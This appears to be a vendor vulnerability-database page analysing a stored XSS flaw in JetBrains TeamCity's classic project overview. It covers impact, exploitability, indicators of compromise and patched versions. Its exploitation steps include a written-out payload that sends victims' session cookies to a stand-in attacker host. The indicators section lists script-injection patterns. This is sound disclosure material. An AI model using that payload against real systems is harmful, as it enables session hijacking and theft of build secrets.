PHP2Shell: Read our blog on the critical RCE vulnerabilities affecting 70% of the Internet
Vulnerability DatabaseCVE-2026-111095

CVE-2026-111095: 
JetBrains TeamCity vulnerability analysis and mitigation

Overview

CVE-2026-111095 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity's classic project overview component. It affects all TeamCity versions before 2025.11.8, versions 2026.1.x before 2026.1.4, and versions before 2026.2. The vulnerability was published on October 15, 2026, with patches released simultaneously. It carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, though the GitHub Advisory Database rates it 8.0 (High) using a stricter vector (GitHub Advisory, JetBrains).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated user with low-level privileges can inject malicious scripts into the classic project overview page, which are then persistently stored and executed in the browsers of other users who visit that page. The attack vector is network-based, requires low privileges and user interaction (a victim must view the affected page), and results in a scope change affecting other users' browser sessions (GitHub Advisory, JetBrains).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other TeamCity users viewing the classic project overview, enabling session token theft, account hijacking, and unauthorized actions performed on behalf of victims. The confidentiality and integrity of affected user sessions are at risk, and in a CI/CD environment, this could facilitate further compromise of build pipelines, secrets, or connected infrastructure. Availability is not directly impacted (GitHub Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.188%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least low-level privileges, limiting the attack surface compared to unauthenticated vulnerabilities.

Exploitation steps

  1. Reconnaissance: Identify a JetBrains TeamCity instance running a vulnerable version (before 2025.11.8, 2026.1.4, or 2026.2) with the classic project overview enabled.
  2. Obtain low-privilege access: Authenticate to the TeamCity instance using any valid low-privilege account (e.g., a developer or guest account).
  3. Inject malicious payload: Navigate to the classic project overview and identify an input field (such as a project name, description, or similar editable field) that is rendered without proper output encoding. Submit a stored XSS payload, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Wait for victim interaction: When another user (e.g., an administrator) views the classic project overview page, the stored script executes in their browser.
  5. Harvest session tokens or perform actions: The attacker receives the victim's session cookie or performs actions on their behalf, potentially escalating privileges or accessing sensitive build configurations and secrets (GitHub Advisory).

Indicators of compromise

  • Logs: TeamCity server logs showing unusual project or build configuration edits containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) submitted by low-privilege accounts.
  • Network: Outbound HTTP requests from TeamCity users' browsers to unexpected external domains shortly after viewing the classic project overview page; potential exfiltration of session cookies to attacker-controlled infrastructure.
  • Application: Unexpected modifications to project overview fields containing encoded or obfuscated script content; audit log entries showing project metadata changes by accounts not normally performing such actions.

Mitigation and workarounds

JetBrains has released patched versions addressing this vulnerability: 2025.11.8, 2026.1.4, and 2026.2. Organizations should upgrade to one of these versions as the primary remediation. As a temporary workaround until patching is feasible, restrict access to the classic project overview to trusted users only and deploy Web Application Firewall (WAF) rules to detect and block script injection attempts. Disabling the classic project overview UI in favor of the modern interface may also reduce exposure (JetBrains, GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related JetBrains TeamCity vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-106218CRITICAL10
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesOct 06, 2026
CVE-2026-111094CRITICAL9.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesOct 15, 2026
CVE-2026-106219HIGH7.5
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesOct 06, 2026
CVE-2026-111096MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesOct 15, 2026
CVE-2026-111095MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesOct 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management